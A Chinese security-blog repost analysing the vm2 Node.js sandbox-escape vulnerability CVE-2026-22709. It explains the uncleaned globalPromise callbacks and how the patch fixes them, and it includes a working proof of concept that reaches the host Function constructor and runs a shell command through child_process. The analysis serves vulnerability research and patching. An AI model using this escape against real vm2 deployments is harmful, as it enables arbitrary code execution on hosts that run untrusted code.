vm2沙箱逃逸漏洞(CVE-2026-22709)

admin 2026-03-04 10:47:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文分析vm2沙箱逃逸漏洞CVE-2026-22709,核心缺陷是globalPromise回调未清理,而async函数返回该对象。攻击者利用此特性结合Error异常处理获取宿主Function引用,实现沙箱逃逸与RCE。文中对比了localPromise的安全实现,提供了详细的环境搭建、代码审计过程及复现POC,并指出补丁修复方式,具有较高的技术深度与实战价值。 综合评分: 91 文章分类: 漏洞分析,漏洞POC,代码审计,实战经验


cover_image

vm2沙箱逃逸漏洞(CVE-2026-22709)

原创

whoami0002 whoami0002

SecurityPaper

2026年3月2日 23:19 江苏

前言

vm2 是 Node.js 生态中广泛使用的沙箱库,用于在隔离环境中安全执行不受信任的 JavaScript 代码。它被用于在线代码执行平台、插件系统、模板引擎等多种场景。

漏洞概述

vm2 使用 Promise 的 then 和 catch 方法时,对回调函数的清理存在缺陷:

  1. localPromise.prototype.then 的回调被正确清理
  2. globalPromise.prototype.then/catch的回调未被清理
  3. async 函数返回的是 globalPromise 对象,而非 localPromise

这导致攻击者可以通过 async 函数配合异常处理,获取宿主环境的对象引用,进而实现沙箱逃逸。

漏洞分析/复现

环境搭建

安装[email protected]版本

mkdir vm2-poc && cd vm2-poc
npm init -y
npm install [email protected]

漏洞分析

漏洞位于 lib/setup-sandbox.js 文件中。

问题代码 1:globalPromise.prototype.then 未清理回调

// lib/setup-sandbox.js 第 41-45 行
const globalPromiseThen = globalPromise.prototype.then;
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
    resetPromiseSpecies(this);
    return globalPromiseThen.call(this, onFulfilled, onRejected);  // 未清理回调
};

对比 localPromise.prototype.then(正确实现)

// lib/setup-sandbox.js 第 537-551 行
overrideWithProxy(PromisePrototype, 'then', PromisePrototype.then, {
    apply(target, thiz, args) {
        if (args.length > 1) {
            const onRejected = args[1];
            if (typeof onRejected === 'function') {
                args[1] = function wrapper(error) {
                    error = ensureThis(error);  // 正确清理
                    return localReflectApply(onRejected, this, [error]);
                };
            }
        }
        return localReflectApply(target, thiz, args);
    }
});

补丁使用apply替换了globalPromiseCatch.call

漏洞复现

  1. Error.name = Symbol() 导致 stack 访问时抛出未清理的异常
  2. async 函数返回 globalPromise,其 .catch() 回调未清理
  3. 通过 e.constructor.constructor 获取宿主 Function
  4. 宿主 Function 创建的代码可访问 process.mainModule.require

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('calc.exe')"
    );
    f();
});
`;

new VM().run(code);

引用

https://nvd.nist.gov/vuln/detail/CVE-2026-22709


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SecurityPaper whoami0002 whoami0002《vm2沙箱逃逸漏洞(CVE-2026-22709)》

评论:0   参与:  0